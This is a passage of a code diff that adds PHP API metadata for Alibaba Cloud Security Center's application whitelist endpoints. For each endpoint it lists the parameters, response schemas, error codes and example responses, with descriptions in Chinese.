'智能学习时长。单位：小时。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '2', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'StrategyId' => [ + 'description' => '策略编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '8634', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"StrategyId\\": 8634,\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXX\\"\\n}","type":"json"}]', + 'title' => '创建应用白名单策略', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'DescribeWhiteListStrategyUuidCount' => [ + 'summary' => '查询应用白名单策略生效服务器数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '42.120.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。'."\n" + .'>调用[DescribeWhiteListStrategyStatistics](~~DescribeWhiteListStrategyStatistics~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '8516', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '策略类型。'."\n" + .'- **1**：学习策略'."\n" + .'- **2**：应用策略', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'UuidCount' => [ + 'description' => '应用白名单策略生效服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"UuidCount\\": 9,\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', + 'title' => '查询白名单策略生效服务器数量', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'DescribeWhiteListStrategyStatistics' => [ + 'summary' => '查询应用白名单策略统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '183.63.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyIds', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。'."\n" + .'>调用[DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '3645', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。最大值为1000，每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + ."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', + ], + 'TotalCount' => [ + 'description' => '分页查询时，数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Strategies' => [ + 'description' => '策略统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '策略统计信息。', + 'type' => 'object', + 'properties' => [ + 'SuspiciousProcCount' => [ + 'description' => '可疑进程数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Status' => [ + 'description' => '策略状态。取值：'."\n" + .'- **0**：未启用'."\n" + .'- **1**：学习中'."\n" + .'- **2**：暂停'."\n" + .'- **3**：学习完成'."\n" + .'- **4**：已生效', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TrustProcCount' => [ + 'description' => '可信进程数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'StrategyName' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'win ', + ], + 'StrategyId' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '11906', + ], + 'Progress' => [ + 'description' => '策略学习进度。单位：百分比。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '80', + ], + 'VirusProcCount' => [ + 'description' => '恶意进程数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'AssetCount' => [ + 'description' => '策略生效服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'StudyTime' => [ + 'description' => '智能学习时长。单位：小时。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 1,\\n \\"Strategies\\": [\\n {\\n \\"SuspiciousProcCount\\": 1,\\n \\"Status\\": 1,\\n \\"TrustProcCount\\": 2,\\n \\"StrategyName\\": \\"win \\",\\n \\"StrategyId\\": 11906,\\n \\"Progress\\": 80,\\n \\"VirusProcCount\\": 2,\\n \\"AssetCount\\": 9,\\n \\"StudyTime\\": 9\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询策略统计信息', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'DescribeWhiteListStrategyList' => [ + 'summary' => '查询应用白名单策略信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '116.88.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyIds', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。多个策略编号可用半角英文逗号分隔。', + 'type' => 'string', + 'required' => false, + 'example' => '1,2', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', + ], + 'Strategies' => [ + 'description' => '应用白名单策略信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '应用白名单策略信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '策略状态。取值：'."\n" + .'- **0**：未启用'."\n" + .'- **1**：学习中'."\n" + .'- **2**：暂停'."\n" + .'- **3**：学习完成'."\n" + .'- **4**：已生效', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'StrategyId' => [ + 'description' => '策略编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '8795555', + ], + 'StrategyName' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'StudyTime' => [ + 'description' => '智能学习时长。单位：小时。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"Strategies\\": [\\n {\\n \\"Status\\": 1,\\n \\"StrategyId\\": 8795555,\\n \\"StrategyName\\": \\"test\\",\\n \\"StudyTime\\": 5\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询白名单策略信息', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'DescribeWhiteListProcess' => [ + 'summary' => '查询应用白名单策略中应用的进程信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '27.223.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。'."\n" + .'>调用[DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '8562', + ], + ], + [ + 'name' => 'ProcessName', + 'in' => 'query', + 'schema' => [ + 'description' => '进程名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'JAVA', + ], + ], + [ + 'name' => 'ProcessType', + 'in' => 'query', + 'schema' => [ + 'description' => '进程类型。取值：'."\n" + .'- **1**：可信'."\n" + .'- **2**：可疑'."\n" + .'- **3**：恶意', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'OrderBy', + 'in' => 'query', + 'schema' => [ + 'description' => '返回结果中的排序方式。默认按照**进程类型**排序。取值：'."\n" + .'- **1**：进程类型'."\n" + .'- **2**：可信程度', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Desc', + 'in' => 'query', + 'schema' => [ + 'description' => '排序类型。默认降序排列。取值：'."\n" + .'- **1**：升序'."\n" + .'- **2**：降序', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。最大值为1000，每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'>建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D81DD78E-E006-5C65-A171-C8CB09XXXXX', + ], + 'TotalCount' => [ + 'description' => '分页查询时，数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '44', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Processes' => [ + 'description' => '进程信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '进程信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '是否可信。取值：'."\n" + ."\n" + .'- **1**：否'."\n" + .'- **2**：是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ProcessName' => [ + 'description' => '进程名称。', + 'type' => 'string', + 'example' => 'vim', + ], + 'ProcessId' => [ + 'description' => '进程ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '53090', + ], + 'FilePath' => [ + 'description' => '进程启动的文件路径。', + 'type' => 'string', + 'example' => '/root/bash1', + ], + 'Md5' => [ + 'description' => '进程启动文件的MD5值。', + 'type' => 'string', + 'example' => 'a28e8eba54ece1f3748d80e57dc89400', + ], + 'Id' => [ + 'description' => '进程信息的主键。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2100019', + ], + 'Level' => [ + 'description' => '进程可信分数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '99', + ], + 'ProcessType' => [ + 'description' => '进程类型。取值：'."\n" + .'- **1**：可信'."\n" + .'- **2**：可疑'."\n" + .'- **3**：恶意', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 200,\\n \\"RequestId\\": \\"D81DD78E-E006-5C65-A171-C8CB09XXXXX\\",\\n \\"TotalCount\\": 44,\\n \\"Count\\": 1,\\n \\"Processes\\": [\\n {\\n \\"Status\\": 1,\\n \\"ProcessName\\": \\"vim\\",\\n \\"ProcessId\\": 53090,\\n \\"FilePath\\": \\"/root/bash1\\",\\n \\"Md5\\": \\"a28e8eba54ece1f3748d80e57dc89400\\",\\n \\"Id\\": 2100019,\\n \\"Level\\": 99,\\n \\"ProcessType\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询进程信息', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'DescribeWhiteListEffectiveAssets' => [ + 'summary' => '查询应用白名单策略生效的服务器。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '27.212.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '资产检索项。可填写资产的IP、公网IP、内网IP、资产名称进行模糊匹配。', + 'type' => 'string', + 'required' => false, + 'example' => '222.185.XX.XX', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。'."\n" + .'>调用[DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '8437592', + ], + ], + [ + 'name' => 'NeedStatistics', + 'in' => 'query', + 'schema' => [ + 'description' => '是否需要返回资产**不可信程序异常启动**的异常行为数量。取值：'."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。最大值为**1000**，每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB39****', + ], + 'TotalCount' => [ + 'description' => '生效的服务器总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，显示的当前页的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Assets' => [ + 'description' => '生效的服务器信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '生效的服务器信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '544900ff-1be7-4655-9719-6311cecb3****', + ], + 'StrategyId' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '35815387', + ], + 'StrategyName' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '60.205.XX.XX', + ], + 'SuspiciousEventCount' => [ + 'description' => '服务器存在的**不可信程序异常启动**的异常行为数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'ProcessMethod' => [ + 'description' => '异常处理模式。取值：'."\n" + .'- **0**：不处理'."\n" + .'- **1**：告警'."\n" + .'- **2**：阻断', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'MachineName' => [ + 'description' => '服务器名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'IntranetIp' => [ + 'description' => '私网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB39****\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10,\\n \\"Assets\\": [\\n {\\n \\"Uuid\\": \\"544900ff-1be7-4655-9719-6311cecb3****\\",\\n \\"StrategyId\\": 35815387,\\n \\"StrategyName\\": \\"test\\",\\n \\"InternetIp\\": \\"60.205.XX.XX\\",\\n \\"SuspiciousEventCount\\": 5,\\n \\"ProcessMethod\\": 1,\\n \\"MachineName\\": \\"test\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询策略生效服务器', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'DescribeWhiteListAuthorize' => [ + 'summary' => '查询应用白名单可用授权数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '180.119.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值**zh**。取值：'."\n" + ."\n\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'AvailableAuthorizeNum' => [ + 'description' => '可用授权数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AvailableAuthorizeNum\\": 3,\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', + 'title' => '获取可用授权数量', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'DescribeWhiteListAsset' => [ + 'summary' => '查询应用白名单策略可配置及已配置的服务器数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '180.119.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'LastMaxId', + 'in' => 'query', + 'schema' => [ + 'description' => '最新执行查询的最大资产ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1001', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。'."\n" + .'>调用[DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2730', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '查询资产所属策略的类型。取值：'."\n" + .'- **1**：学习策略'."\n" + .'- **2**：应用策略', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的资产信息的数量。最大取值为**500**，默认值为**500**，表示每页显示500条登录配置信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', + ], + 'Assets' => [ + 'description' => '服务器信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '5c081b02-f66a-47a4-bd2f-79ee3eaf806a', + ], + 'GroupId' => [ + 'description' => '服务器所在分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '11028551', + ], + 'MachineIp' => [ + 'description' => '服务器IP地址。', + 'type' => 'string', + 'example' => '121.41.XX.XX', + ], + 'AllowSelected' => [ + 'description' => '该服务器是否允许被选中。取值：'."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Selected' => [ + 'description' => '该服务器是否被策略选中。取值：'."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Id' => [ + 'description' => '服务器编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1001', + ], + 'MachineName' => [ + 'description' => '服务器名称。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"Assets\\": [\\n {\\n \\"Uuid\\": 